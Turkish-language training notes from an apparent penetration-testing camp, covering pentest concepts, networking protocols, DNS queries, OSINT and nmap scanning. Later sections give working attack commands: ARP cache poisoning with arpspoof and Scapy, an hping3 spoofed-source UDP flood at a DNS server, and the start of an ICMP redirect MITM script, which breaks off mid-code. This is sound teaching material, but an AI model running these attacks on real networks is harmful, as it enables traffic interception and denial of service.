Kamp içeriği olarak Ağ Yönetimi konusuna giriş yapıldıktan sonra varsayılan ayarlardan kaynaklanan güvenlik zafiyetleri anlatılacak ve bununla birlikte savunma bakış açısı güçlendirilebilecektir.
Güvenlik konusunda danışmanlar ve saldırganlar arasındaki benzerlik ve farklılıklardan bahsederek kampa başladık. Saldırganlar motivasyon ve zaman açısından, güvenlik danışmanlarına göre daha şanslıdırlar. Danışmanların belirli bir çalışma aralığı olmasına rağmen saldırganların motivasyon kaynağına göre bu zaman kavramı genişleyebilir. Ayrıca danışmanlar firma tarafında çalışan sistemlerin kararlılığının bozulmaması amacıyla firma tarafından bazı sistemlerin erişimine izin verilmeyebilir. Saldırganlar ise bu konuda daha çok esnektir ve sistemin kararlılığını korumak gibi bir amaçları olmadığından ciddi hasarlar verebilirler. Zafiyet bulunduktan sonra danışmanlar sömürüyü gerçekleştirirken bunu ispatlamak için yaparken, saldırganlar sistemin içerisinde istedikleri bilgiyi elde etmek için kendi amaçları doğrultusunda kullanırlar. Saldırganların sistemden izini silmek ve daha sonra tekrardan erişebilmek için arka kapı bırakırlar fakat güvenlik danışmanlarının böyle bir amacı yoktur.
Hacking: Bir sistemi çalışması planlanan şekli dışında kullanmak.
Ethical Hacking: Sistemlere sızmak için saldırganlar tarafından kullanılan yöntemlerin kurumların güvenlik seviyesini arttırmak amacıyla, siber tehditlere ve veri sızıntılarına karşı test edilmesi ve daha etkili savunma yöntemlerinin geliştirilmesini savunan felsefedir.
Risk: Tehdit ve zafiyetin kesiştiği nokta.
Total Risk Analizi: Sistemde ki bir zafiyetin ne kadar risk oluşturabileceğini raporlayıp analiz etmektir.
Zafiyet: Bir sistemin olağan davranışını bozmasına sebep olan nokta.
[!] Sadece zafiyet taraması veya Bug Bounty yapılarak total risk analizi yapılamaz.
Sömürü (exploitation): Zafiyeti veya zafiyetleri kullanarak sistemde yer edinme işlemi.
Post Explotation Sömürü gerçekleştirildikten sonra bilgi toplama ve başka sistemlere geçme aşamasına verilen isim.
Payload: Exploit ile sistemde yer edindikten sonra çalıştırılmak istenen kod parçası.
Penetration Test: Hacking işleminin teknik aşamalarını kapsayan sürece verilen genel adıdır.
Vulnerability/Security Assessment: Bir sistemdeki muhtemel tüm açıkların belirlenmesine yönelik tasarlanmış bir testtir. Sızma testinin bir aşamasıdır.
Güvenlik denetimi: Güvenlik araştırmacıları için total riski raporlamakken saldırganların bunu kendi lehine kullanması amacıyla yaptıkları denetimdir.
[!] Zafiyet bulunduktan sonra güvenlik danışmanlarının zafiyeti düzeltmek gibi bir amacı yoktur.
[!] Sızma testi raporlarında zafiyetten bahsedilir ama asıl amaç zafiyetlerin raporlanıp verilmesi değil olası senaryolarla firmayı bilgilendirmektir.
Risk analizi disiplini: Birimlerin ayrı ayrı güvenliğinin incelenmesi olarak tanımlandırılabilir. Sadece kale kapısını tutmak değil içerideki kapıları da sağlamlaştırmak buna örnek olarak verilebilir.
Bazı firmalar güvenlik açığının bildirilmesi üzerine zafiyeti düzeltmemeyi seçebilirler çünkü zafiyeti düzeltmek firmalar için daha masraflı olabilir. Bu durumda danışmanlar zafiyeti puanlayarak bir bilgilendirme yapar. Yani danışmanlar her zaman zafiyeti düzeltme amacı gütmez. Zafiyetin ne kadar büyük bir risk oluşturabileceğini raporlar.
Güvenlik denetimlerinin standartlarının olması, ihtiyaçların giderilmesi ve güvenlik danışmanlarının kaybolmaması için metodolojilere ihtiyaç vardır. Bazı kurumlar kendi standartlarını yayınlar.
- OWAP: Web App Security
- NIST: National Institute of Standards and Technology.
- OSSTMM: Yukarıdaki firmalara göre daha kapsamlıdır.
Karşı tarafın izni olmaması durumunda yapılan herhangi bir zafiyet taraması suç teşkil etmektedir. Tesadüfen bulunan bir zafiyet var ise bunu bildirmek herhangi bir suç teşkil etmemektedir. Kurumlar bu konuda eskiye göre daha çok anlayışlı davranmaktadırlar. Profesyonel olarak test yapılacağı zaman gizlilik anlaşması yapılır. Bu anlaşmanın içinde ilgili firmadan alınan bilgilerin ne kadarının yayınlanabileceği ve yapılacak işlemler belirtilerek sözleşme imzalanır. Daha sonrasında bu testler gerçekleştirilerek ortaya bir rapor konur. Bu çoğunlukla hard-copy bile olmaz hatta tek bir pdf dosyası bile olabilir.
Sızma Testleri - Genel Prosedür:
- Hazırlık Aşaması
- NDA imzalanması (Gizlilik anlaşması)
- Test içeriğinin belirlenmesi
- Güvenlik Sözleşmesinin İmzalanması
- Sızma Testi Takımının Belirlenmesi
- Güvenlik Testinin Gerçekleştirimesi
- Sonuçların Alınması ve Raporlanması
Sızma Testi Kapsamları:
- Public Ip Adresi Aralıkları
- Özel Uygulamalar
- Özel Alan Adları ve Subdomainler
Güvenlik Denetim Türleri:
- Network Testleri
- İstemci Testleri
- Cloud(Bulut) Testleri
- Web Uygulama Testleri
- Kablosuz Ağ Testleri
- Sosyal Mühendislik Testleri
- Mobil Uygulama Testleri
- Tersine Mühendislik
- Sosyal Mühendislik veya Servis dışı bırakma (Ddos) testleri
- Gömülü Sistem Testleri
[!] Çok nadir olmakla birlikte fiziksel olarakta test yapılabilir. Mesela boş bir bilgisayara erişim sağlamak, kameralara yakalanmadan yasak yerlere girebilmek bu test için örnek verilebilir.
OSI Katmanları
Subnet (Alt Ağ)
TCP/IP Protokol Kümesi
TCP/UDP
ICMPv4
ARP
DNS
DHCP
OSI Katmanları
* | Katmanlar |
---|---|
1 | Fiziksel |
2 | Data |
3 | Network |
4 | Taşıma |
5 | Oturum |
6 | Sunum |
7 | Uygulama |
[!] Yukarıdaki katmanların amacı sistemdeki her katmanın birbirlerinden etkilenmeden kendi içlerinde değişiklik uygulanılabilmesidir.
1) Fiziksel Katman : BitStream(0-1). Fiber, Bakır tel gibi fiziksel aktarım yöntemleri kullanılan katmandır.
2) Data Katmanı : Bu katmanda fiziksel ağ donanımının adresi kullanılır MAC . Ethernet varsa ARP(Adress Resoluiton Protocol) örnek verilebilir. ARP ve RARP sorgularıyla MAC veya IP adresi bilinen bir makinanın diğer bilgisi öğrenilebilir.
MAC Adresi, Bir ağdaki cihazı tanımlanmasını sağlayan fiziksel ağ kartının üzerindeki adresi belirtir. Bu adres 6 oktetten oluşur (00:00:00:00:00:00-FF:FF:FF:FF:FF:FF). MAC adresinin ilk 3 okteti cihazı üreten firmayı, son 3 oktet ise her kart için benzersizdir.
IP --ARP--> MAC
MAC --RARP--> IP
ARP tablosunda iletişim kurulmak istenen makinanın mac adresi yoksa, icmp requesti (ping), iletişim kurulmak istenen sistemin ip adresine gönderilerek karşılıklı olarak arp tablolarını güncelleyebiliriz.
ARP tablosunu kontrol etmek için terminalde: Linux sistemlerde “arp -an”, Windows sistemlerde “arp -a” yazılarak tablo gösterilebilir. ARP tablosundan girdi silmek için her iki sistemde de aynı “arp -d” komutu kullanılabilir.
MAC adresinin kullanıldığı protokollere aşağıdakiler örnek olarak verilebilir.
- Ethernet
- Token ring
- Wi-fi
- Bluetooth
- FDDI
- SCSI
3) Network Katman : TCP/IPv4 veya TCP/IPv6 ile adreslerin oluşturulup makinalara tanımlandığı katman.
IPv4 32bitlik adresleme yapabilir. 2^32 den 4294967296 adres üretilebilir ama bunu daha kolay şekilde okuyabilmek için 32 bit 4’erli gruplar halinde 0-255 arasında ifade edilir.
0.0.0.0 <--> Localhost
255.255.255.255 <--> Broadcast (Yayın Adresi)
4) Taşıma Katman : İletişim protokolleri TCP veya UDP kullanılır. TCP outurum kontrolü yaparken, UDP herhangi bir iletişim veya paket bütünlüğü kontrolü yapmaz. UDP bu yüzden TCP’den daha hızlıdır.
5) Oturum Katman : Servislerin birbirleriyle iletişimini sağlayan katman. (SSH/RDP/SMB)
6) Sunum Katman : Paketi uygun hale getirir. Çeşitli format değişimleri burada yapılır. (PNG--base64-->ascii, SSL,TLS)
7) Uygulama Katman : Firefox, FTP, SMTP, HTTP
Subnet (Alt Ağ)
IP Havuz aralığı içerisinde ihtiyaç kadar ip adresi tanımlamak için kullanılır.
192.168.48.130
11000000.10101000.00111000.100|00010
11111111.11111111.11111111.111|00010
255.255.255.224
11111111.11111111.11111111.111|00000 (Alt Ağ Adresi)
11111111.11111111.11111111.111|11111 (Alt Ağ Yayın Adresi)
Dünya çapıında bu ip bloklarının yönetimini IANA (Internet Assigned Numbers Authority) yapar. Zamanla ip adresi yetmemeye başladığından NAT(Network Address Translation) ortaya çıkmıştır. Bunun yapılabilmesi için tek gereken şey internet ile alt ağlar arasında adres dönüşümü gerçekleştirilmesidir.
10.0.0.0/8 A <--> Yaklaşık olarak 16 milyar ip adreslenebilir. [ 2^(32-8) ]
172.16.0.0./12 <--> Yaklaşık olarak 1 milyar ip adreslenebilir. [ 2^(32-12) ]
192.168.0.0/16 <--> Yaklaşık olarak 65 bin ip adreslenebilir. [ 2^(32-16) ]
127.0.0.0/8 <--> Localhost. LoopBack (lo) kendi makine içerisindeki ağ.
224.0.0.0/4 D <--> MultiCast. Her ip adresine teker teker göndermek yerine. Herkese broadcast yapar gibi paketleri göndermek için ayrılmış ip bloğudur.
100.100.0.0/16 <--> Şu anda boşta olan ip bloğudur.
240.0.0.0/4 E <--> Bilimsel testler için ayrılmış ip bloğudur.
169.254.0.0/16 APIPA <--> DHCP serveri olmadığı zaman bu ip bloğundan rastgele ip alır.
[!] Yukarideki ip adresleri dışında private ip olarak başka bir bloğun kullanılması durumunda internet üzerinde o ip bloğundaki sunuculara uzaktan erişilmek istendiği zaman paket private ağ içerisinde gezeceği için kullanıcı kendi ağı dışarısındaki sunucuya ulaşamayacaktır.
TCP/IP Protokol Kümesi
[!] OSI katmanı referans olarak alındığı için birebir olarak günümüzde kullanılmaz.
Cihaz veya Uygulamlar | Paketin İsmi | TCP/IP | OSI Katmanı |
---|---|---|---|
SSL | Application | ||
VPN | ------------ | ||
Application Firewall | Data | Applicaiton | Presentation |
DLP | ------------ | ||
Session | |||
---------------------- | ----------------- | --------------- | ------------ |
Firewall, Load Balancer | Segment/Datagram | Transport | Transport |
---------------------- | ----------------- | --------------- | ------------ |
Router | Packet | İnternet | Network |
---------------------- | ----------------- | --------------- | ------------- |
Switch | Frame | Data Link | |
RJ45 | ----------------- | Network Access | ------------ |
Cat5 | BitStream | Physical |
TCP/UDP
TCP: Bir makinayla iletişime geçmek istendiğinde diğer makina geri dönüş yaparak iletişimi onaylar ve iletişim sürekli birbirlerinin paket onaylarını bekleyerek devam eder. Bunun faydası ise herhangi bir kayıp olmadan verinin karşı tarafa iletilmesini sağlayabilmesidir. Bağlantı kurulurken ve koparilirken de bu üçlü el sıkışma yapılır.
UDP: Paket hedef makinaya gönderilir ama herhangi bir onay sistemi olmadığı için paketin gidip gitmediği tam olarak bilinemez. Gelmeyen paketlerde uygulama bunu kontrol etmek zorundadır. UDP’nin paket bütünlüğüyle ilgili herhangi bir kontrol mekanizması yoktur.
Üçlü El Sıkışma (3 Way HandShake)
-----SYN--->
<--SYN-ACK--
----ACK---->
----FIN---->
<-FIN-ACK---
----ACK---->
TCP HEADER
Source Port: Kaynak makinanın Portu
Destination Port: Hedef makinanın Portu
Sequence Number: Senkronize Numarası
Acknowledgement Number: En son alınan senkron paketinin bir fazlası
Hlen: TCP başlık kısmının uzunluğı
- Flags
- URG: Acil Biti
- ACK: Acknowledge Biti
- PSH: Push Biti
- RST: Reset Biti
- SYN: Senkron Biti
- FIN: Bitiirme Biti
Windows: Alıcının kaç paketi birden istediği bilgisi
Checksum: Paketin bütünlüğünü doğrular.
Urgent Pointer: URG biti işaretlendiyse kullanılır.
IP HEADER
Version: IPv4 veya IPv6
Length: Paketin uzunluğu
Type of Service: Servis tipini belirtir Routerlar buna göre öncelik ataması yaparlar
Total Length: Paketin toplam uzunluğu
Identifier: Her paketin numarası
Flag: Paketin parçalanıp parçalanmayacağı bilgisi
Fragmented Offset: Parçalanmış paketlerin sıra numarası
Time to Live: Paketin yaşam süresi
Protocol: TCP ya da UDP hangi alt katmanlı paket içerdeiğini gösterir
Header Checksum: Doğrulamayı barındırır
Source IP: Kaynak ip
Destination IP: Hedef ip
Scapy 3way-Handshake
$ iptables -I OUTPUT -p tcp --tcp-flags RST RST -j DROP # RST Sinyalini engellemek için
$ nc -lvp 80 # Başka bir terminalden
$ scapy
>>> conf.L3socket=L3RawSocket
>>> ip = IP(src="127.0.0.1",dst="127.0.0.2")
>>> SYN = TCP(sport=1234,dport=80,flags="S")
>>> veri = "Merhaba\n"
>>> sr1(ip/SYN)
Begin emission:
.*Finished sending 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x0 len=44 id=0 flags=DF frag=0 ttl=64 proto=tcp chksum=0x3cc9 src=127.0.0.2 dst=127.0.0.1 options=[] |<TCP sport=www_http dport=search_agent seq=2957853120 ack=1 dataofs=6 reserved=0 flags=SA window=43690 chksum=0xfe21 urgptr=0 options=[('MSS', 65495)] |>>
>>> ACK = TCP(sport=1234,dport=80,flags="A",seq=1,ack=2957853121)
>>> sr1(ip/ACK/veri)
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x0 len=40 id=26505 flags=DF frag=0 ttl=64 proto=tcp chksum=0xd543 src=127.0.0.2 dst=127.0.0.1 options=[] |<TCP sport=www_http dport=search_agent seq=2957853121 ack=9 dataofs=5 reserved=0 flags=A window=43690 chksum=0xfe1d urgptr=0 |>>
>>> FINACK = TCP(sport=1234,dport=80,flags="FA",seq=9,ack=2957853121)
>>> sr1(ip/FINACK)
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x0 len=40 id=26506 flags=DF frag=0 ttl=64 proto=tcp chksum=0xd542 src=127.0.0.2 dst=127.0.0.1 options=[] |<TCP sport=www_http dport=search_agent seq=2957853121 ack=10 dataofs=5 reserved=0 flags=FA window=43690 chksum=0xfe1d urgptr=0 |>>
>>> ACK = TCP(sport=1234,dport=80,flags="A",seq=10,ack=2957853121)
>>> sr1(ip/ACK)
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x0 len=40 id=22525 flags=DF frag=0 ttl=64 proto=tcp chksum=0xe4cf src=127.0.0.2 dst=127.0.0.1 options=[] |<TCP sport=www_http dport=search_agent seq=2957853121 ack=0 dataofs=5 reserved=0 flags=R window=0 chksum=0xbaac urgptr=0 |>>
PORT DURUMLARI
TCP
TCP/Port | Açık | Kapalı | Cevap Gelmezse |
---|---|---|---|
SYN | SYN+ACK | RST | Firewall olabilir |
ACK | RST | RST | Makina Yok |
FIN | RST | RST | Bağlantı Problemi |
URG | RST | RST | Servis Dışı Kalma |
RST | X | X |
UDP
UDP/Port | Açık | Kapalı | Cevap Gelmezse |
---|---|---|---|
Cevap Gelirse | ICMP(Port Unreach) Döner | Açık/Firewall |
DNS
Hostname: Makinaya verilen kimlik bilgisi.
Domain: Bir grup bilgisayarın oluşturduğu ağa verilen kimlik bilgisi.
Her makinada nameserver, dhcp veya elle atatanmış olduğu için oradaki domain sunucularına sorar (Recursive). TLD(TopLevelDomain)’e sorar o sunucuda .tr kaydı tutan sunuculara sordurur burdan org.tr domainlerini tutan sunucuya yönlendirir burdan da linux.org.tr sunucusunun ip adresini cachler ve bundan sonraki isteklerde bu yapılan işlem tekrardan gerçekleşmez.
DNS(Domain Name System) website adreslerini ip adreslerine çevirmek için kurulmuştur. 2003 yıllından sonra websitelerinin sayısı ip adreslerini geçmeye başlayacağı için tek bir makinada birden fazla site bulunmaya başlamıştır.
İşletim sistemi ilk olarak gelen DNS kaydını /etc/hosts veya /system32/drivers/etc/hosts dosyasına bakar varsa zaten direk ip adresini kullanır. Eğer herhangi bir kayıt yoksa, DHCP serverin bize atadığı nameserver olan 1.1.1.1 olan sunucuya dns protokolü üzerinden “linux.org.tr” domaninini sorar eğer onun üzerinde de bu kayıt yoksa. 1.1.1.1’de ki sunucu kaydı bilmese de *.tr kayıtlarını tutan nic.tr sunucusuna “linux.org.tr” sorar. En son linux.org.tr’nin geriye doğru sunuculara ip adresi eklenir ve 1.1.1.1 bize istediğimiz domainin ip adresini döndürür ve bizden biraz sonra 1.1.1.1’e linux.org.tr’yi sorarsa bu işlemler tekrardan yaşanmaz. Artık 1.1.1.1’in kendi içinde “linux.org.tr” kaydı olduğu için daha sonraki dns isteklerine cevap verebilir hale gelmiştir.
linux.org.tr içinde mail ve web siteleri olabileceği için DNS kayıt tipleri vardır:
A: Website kayıtları için.
MX: Mail atmak istenildiğinde sorulan DNS kaydıdır.
TXT: Text, validation için kullanılabilir.
CNAME: Yönlendirme yapmak istenildiği zaman kullanılır mesela admin.linux.org.tr domainini yonetim.linux.org.tr’ye linkleyebiliriz.
AAA: IPv6 kayıtları için.
$ nslookup
> server
Default server: X.X.X.X
Address: X.X.X.X#53
$ dig linux.org.tr
...
linux.org.tr. 2846 IN A 139.179.179.3
...
$ dig MX linux.org.tr # MAIL Server
linux.org.tr. 7200 IN MX 10 postaci.linux.org.tr.
$ nslookup postaci.linux.org.tr
...
Server: 192.168.42.129
Address: 192.168.42.129#53
...
$ dig NS linux.org.tr # DNS Serverleri
...
linux.org.tr. 7199 IN NS marmara.linux.org.tr.
linux.org.tr. 7199 IN NS trakya.linux.org.tr.
...
$ dig . ns # TopLevelDomain listesi
...
. 94359 IN NS c.root-servers.net.
. 94359 IN NS f.root-servers.net.
. 94359 IN NS j.root-servers.net.
. 94359 IN NS d.root-servers.net.
. 94359 IN NS e.root-servers.net.
. 94359 IN NS a.root-servers.net.
. 94359 IN NS l.root-servers.net.
. 94359 IN NS h.root-servers.net.
. 94359 IN NS k.root-servers.net.
. 94359 IN NS m.root-servers.net.
. 94359 IN NS g.root-servers.net.
. 94359 IN NS i.root-servers.net.
. 94359 IN NS b.root-servers.net.
...
$ dig www.linux.org.tr a @a.root-servers.net
...
;; AUTHORITY SECTION:
tr. 172800 IN NS ns21.nic.tr.
tr. 172800 IN NS ns22.nic.tr.
tr. 172800 IN NS ns31.nic.tr.
tr. 172800 IN NS ns41.nic.tr.
tr. 172800 IN NS ns42.nic.tr.
tr. 172800 IN NS ns91.nic.tr.
tr. 172800 IN NS ns92.nic.tr.
...
$ dig www.linux.org.tr a @ns21.nic.tr.
; <<>> DiG 9.10.3-P4-Debian <<>> www.linux.org.tr a @ns21.nic.tr.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32917
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.linux.org.tr. IN A
;; AUTHORITY SECTION:
linux.org.tr. 43200 IN NS marmara.linux.org.tr.
linux.org.tr. 43200 IN NS trakya.linux.org.tr.
$ dig www.linux.org.tr a @marmara.linux.org.tr
Bu sunucular recursive olmayan isteklere yanıt vermez.
'''
---
'''
$ dig www.tokgozoglu.net @52.178.110.255
; <<>> DiG 9.10.3-P4-Debian <<>> www.tokgozoglu.net @52.178.110.255
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14270
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.tokgozoglu.net. IN A
;; ANSWER SECTION:
www.tokgozoglu.net. 86400 IN CNAME tokgozoglu.net.
tokgozoglu.net. 86400 IN A 52.178.110.255
;; AUTHORITY SECTION:
tokgozoglu.net. 86400 IN NS ns2.tokgozoglu.net.
tokgozoglu.net. 86400 IN NS ns1.tokgozoglu.net.
;; ADDITIONAL SECTION:
ns1.tokgozoglu.net. 86400 IN A 52.178.110.255
ns2.tokgozoglu.net. 86400 IN A 52.178.110.255
;; Query time: 8 msec
;; SERVER: 52.178.110.255#53(52.178.110.255)
;; WHEN: Mon Jul 23 11:22:12 +03 2018
;; MSG SIZE rcvd: 145
$ dig www.tokgozoglu.net @8.8.8.8
; <<>> DiG 9.10.3-P4-Debian <<>> www.tokgozoglu.net @8.8.8.8
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15285
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;www.tokgozoglu.net. IN A
;; ANSWER SECTION:
www.tokgozoglu.net. 21599 IN CNAME tokgozoglu.net.
tokgozoglu.net. 21599 IN A 188.166.45.9
[!] İlk sorguda 86400 iken google sunucusunda 21599 olmasının nedeni google’ın dns sunucusunun cacheinde bu domainin kaydının olmasıdır.
Scapy
$ scapy
>>> ip = IP(dst="192.168.42.129",version=4)
>>> ud = UDP(sport=61,dport=53)
>>> dn = DNS(rd=1,qd=DNSQR(qname="linux.org.tr"))
>>> send(ip/ud/dn)
[!] Wireshark üzerinden dönen dns sorgusu incelenebilir.
$ hping3 # Paket üretmek için kullanılabilir
$ hping3 --udp --destport 53 --rand-source <NSServer> --flood
ICMPv4
ICMP (Internet Control Message Protocol) Ağın sağlıklı bir şekilde çalıştığı, ulaşılabilirliği, hız testi veya kontrol amaçlı kullanılan protokoldür. Kendi içerisinde bulunnan Type-Code olmak üzere değiştirilebilen variyantları bulunmaktadır. Örnek olarak echo-reply 0-0 veya echo-request 8-0 verilebilir.
Daha fazla parametre için
ICMP type-code hakkında daha fazla örnek için;
[!] OSI katmanı teorik olduğu ve kurulumu tam olarak yapılamayacağı için TCP/IP modeli kullanılır
##Scapy
Scapy içerisinde paket oluşturmak için kullanılan bir kütüphanedir.
$ scapy
>>> icmpbaslik = ICMP(type=14,code=0)
>>> ipbaslik = IP(src="192.168.42.82",dst="192.168.42.57")
>>> paket = ipbaslik/icmpbaslik
>>> send(paket)
.
Sent 1 packets.
[!] Wireshark açıp ilgili network kartını dinleyerek gönderilen paketin yanıtını görebiliriz.
ARP
Adres Çözümleme Protokolü (Address Resolution Protocol) ağ katmanı adreslerinin veri bağlantısı katmanı adreslerine (IP adreslerinin MAC adreslerine) çözümlenmesini sağlayan bir iletişim protokolüdür
[!] Daha önceden ekli olmayan mac adresinin ip adresi değiştirilemez
ARP tablosunda IP adresini değiştirmek için
(kurban) $ arp -an
? (192.168.42.40) at 08:00:27:54:f1:62 [ether] on enp0s16u2
(saldırgan) $ scapy
>>> etherbaslik= Ether(dst="ea:0e:3d:8f:cc:e0",src="31:30:31:31:31:31")
>>> arpbaslik = ARP(op=2, hwsrc="31:30:31:31:31:31",psrc="192.168.42.30",pdst="192.168.42.57")
>>> paket = etherbaslik/arpbaslik
>>> sendp(paket,iface="enp0s8")
.
Sent 1 packets.
(kurban) $ arp -an
? (192.168.42.40) at 31:30:31:31:31:31 [ether] on enp0s16u2
ARP tablosuna IP eklemek için
(kurban) $ arp -an
? (192.168.42.129) at 8e:5d:7a:f1:c0:4f [ether] on enp0s16u2
(saldırgan) $ scapy
>>> etherbaslik= Ether(dst="ff:ff:ff:ff:ff:ff",src="08:00:27:54:f1:62")
>>> arpbaslik = ARP(op=1, hwsrc="08:00:27:54:f1:61",psrc="192.168.42.40",pdst="192.168.42.57")
>>> paket = etherbaslik/arpbaslik
>>> sendp(paket,iface="enp0s8")
.
Sent 1 packets.
(kurban) $ arp -an
? (192.168.42.129) at 8e:5d:7a:f1:c0:4f [ether] on enp0s16u2
? (192.168.42.40) at 08:00:27:54:f1:61 [ether] on enp0s16u2
DHCP(Dynamic Host Configuration Protocol)
Dinamik olarak ağa katılan bilgisayarlara ip ataması yapan server. Broadcast yaparken UDP kullanır (TCP’de 3way-handshake olduğu için zaten ip adresi olması gerekir). DHCP, ip aralığı içinde olan bir adresi yeni gelen makinalara dağıtır. DHCP kira süresi ayarlanabilir olmakla birlikte belirli süreler içerisinde kira süresini tekrar yeniler. Kira süresi bittikten sonra yenilenmesi durumunda aynı ip adresini vermek gibi bir zorunluluk bulunmaz.
Scapy
DHCP isteğinde client 68. UDP portundan dinlerken DHCP server 68. UDP portundan cevap verir.
$ scapy
>>> eth = Ether(dst="ff:ff:ff:ff:ff:ff",src="aa:aa:aa:aa:aa:aa")
>>> ip = IP(src="0.0.0.0",dst="255.255.255.255")
>>> ud = UDP(sport=68,dport=67)
>>> bootp = BOOTP(chaddr="aa:aa:aa:aa:aa:aa", xid=100)
>>> dhcp = DHCP(options = [ ("message-type","request"),("server_id","192.168.42.254"),("requested_addr","192.168.42.254"),"end"])
>>> sendp(eth/ip/ud/bootp/dhcp)
- Ön Toplantı
- Bilgi Toplama
- Aktif
- Pasif
- Zafiyet Tespiti
- Zafiyet Sömürüsü
- 0day
- Post-Exploitation
- Raporlama
- Son Toplantı
OSINT
- Seviye 1 : Otomatize araçlarla toplanıp sınır çizilir.
- Seviye 2 : Kurum hakkında detaylı bilgi toplanır. (RED-TEAM)
- Seviye 3 : Askeri, Devletler arası yapılır.
Bilgi Toplama:
- Pasif : Normal kullanıcıdan fark edilemeyecek şekilde bilgi toplamak
- Aktif : Hedefle doğrudan etkileşim halinde olunması (ServisTaraması, Fuzzing)
Sızma Testleri:
- White : Kaynak kod analizi
- Gray : Farklı seviyelerde kullanıcılar verilerek verilebilecek zarar hesaplanır
- Black : Sistem hakkında herhangi bir şey bilinmez
Ağ Kapsam: Sistemin ağ kapsamı ne kadar geniş hangi ip adreslerine Otonom Sistem Numarası kullanarak hangi ip aralığına sahip olduğu araştırılır.
Ağ Mimarisi: Sunucular hakkında bilgiler toplanır.
Aracıların Kullanılması: İnternetten arama yapılabilir.
Çalışanlar: IT ekibi veya kaynak kod analizi yapılır.
İfşalar: İfşa olmuş daha önce hacklenilmiş bilgilerin araştırılması.
Unutulmuş Dosya ve Dizin: Sistemde hatırlanmayan bir sistemin veya bir dizinin unutulmuş olması araştırılır.
Subdomain/VirtualHost: Sistemin sahip olduğu alt alan adları araştırılır. Sunucuda başka sitelerin hizmetleride olabilir bunları araştırmak.
Ters Domain Sorgusu yapılabilecek Siteler
Topoloji Çıkarabilecek Bir Site
Subnet, AS Otonom sistem numarası yakalanabilir.
$ whois -h whois.radb.net <ip>
$ whois -h whois.radb.net '!g<AS****>'
Google Dork
- intext:
- inurl:
- site:
- filetype:
- inbody:
- intitle:
- -
- “ “
- numrange:
Bing Dork
- ip:
- domain:
- theharvester
- haveibeenpwned
DNS
-
fierce
- Zone Transfer (axfr domain @ns)
-
dig axfr @
zonetransfer.me -
- hostname:
- country:
- os:
- net:
Aktif Bilgi Tarama
- Host Discovery
- netdiscover -r >ipBLOĞU<
- arp-scan -I eth0 -l
- Network Discovery
- nmap -sP >ipBLOĞU< #pingSweep
- nmap -oX scan.xml # xsltproc xml -> html
- Port Scanning
- nmap -sS #SYN, -sT #TCP, -sA #ACK, -sF #FIN, -sU #UDP
- nmap -p-, --top-ports
- nmap -sI # Zombie Scan
- nmap -f # FTP Scan
- nmap -Pn --disable-arp-ping # Hiç bir Tarama Yapmaz
- Banner Grabbing
- nc, curl, telnet
- Version Detection
- nmap -sV # Version Scan
- nmap -O # OS
- Firewall Bypass
- nmap -f -f
- nmap --script=firewall-bypass
- nmap -D RND:5
- nmap --spoof-mac=IBM >ipBLOĞU<
- Agressive Scan
- nmap -A # Aggressive
- nmap -T (0-5)
- DNS Discovery
- nslookup
- dig ns , dig -x
- fierce --dns
- dnsrecon -d
- Web Application Discovery
- WP, Drupal, Joomla
- wafw00f
- Fuzzing
- dirb
- dirbuster
- wfuzz
- nikto
- Internal
- Internal Ranges
- Directory Services
- Enterprise Applications
MITM (Man In The Middle)
Bir ağ içerisindeki sistem kendi bağlantılarını başkası üzerinden geçiriyor ise arada kalan sistem akan trafiği inceleyebilir. Bunu yapmaktaki amaç arada akan trafiği incelemek veya farklı bir müdahalede bulunmak. Örnek olarak iki farklı yöntem vardır.
- DHCP
- ARP
- Layer 3 (ICMP)
- TCP
ARP
[!] Bunu yapabilmek için Arp Adresleriyle oynamak daha kolay olduğu için DHCP serverini indirmek yerine ARP konusunda yaptığımız gibi mac adreslerini değiştirmeliyiz.
echo 1 > /proc/sys/net/ipv4/ip_forward # Routing Özelliğini Açar
arpspoof -c both -t 1.1.1.1 -r 2.2.2.2 # Router ve Hedef Sistemin Arp Tablosunu Zehirler
Veya scapy kullanmak istersek.
ethBaslik = Ether(dst="00:0c:29:fe:7b:ea",src="00:0c:29:14:3c:c9")
ARPBaslik = ARP(op=1, hwsrc="00:0c:29:fe:7b:ea",psrc="1.1.1.1",pdst="2.2.2.2")
sendp(ethBaslik/ARPBaslik)
ICMP
ICMP Redirect paketi kullanarak trafiğin akışı değiştirilebilir.
Kurban sisteme icmp redirect paketi kaynak olarak router gösterilerek router olarak kendi adresimizi gönderirsek eğer giden paketleri yakalayabiliriz. Buradaki sıkıntı paketin içinde source kısmı kurban sistem olduğu için router gelen paketi saldırgana göndermez. Gelen paketi yakalayabilmek için TCP paketi içerisindeki source kısmını kurban ip yerine saldırganın ip adresini yapılmalı ki router gelen cevabı saldırgana gönderebilsin.
#!/bin/python2.7
from scapy.all import *
originalRouterIP=''
attackerIP=''
victimIP=''
serverIP=''
# Here we create an ICMP Redirect packet
ip=IP()
ip.src=originalRouterIP
ip.dst=victimIP
icmpRedirect=ICMP()
icmpRedirect.type=5
icmpRedirect.code=1
icmpRedirect.gw=attackerIP
# The ICMP packet payload /should/ :) contain the original TCP SYN packet
# sent from the victimIP
redirPayloadIP=IP()
redirPayloadIP.src=victimIP
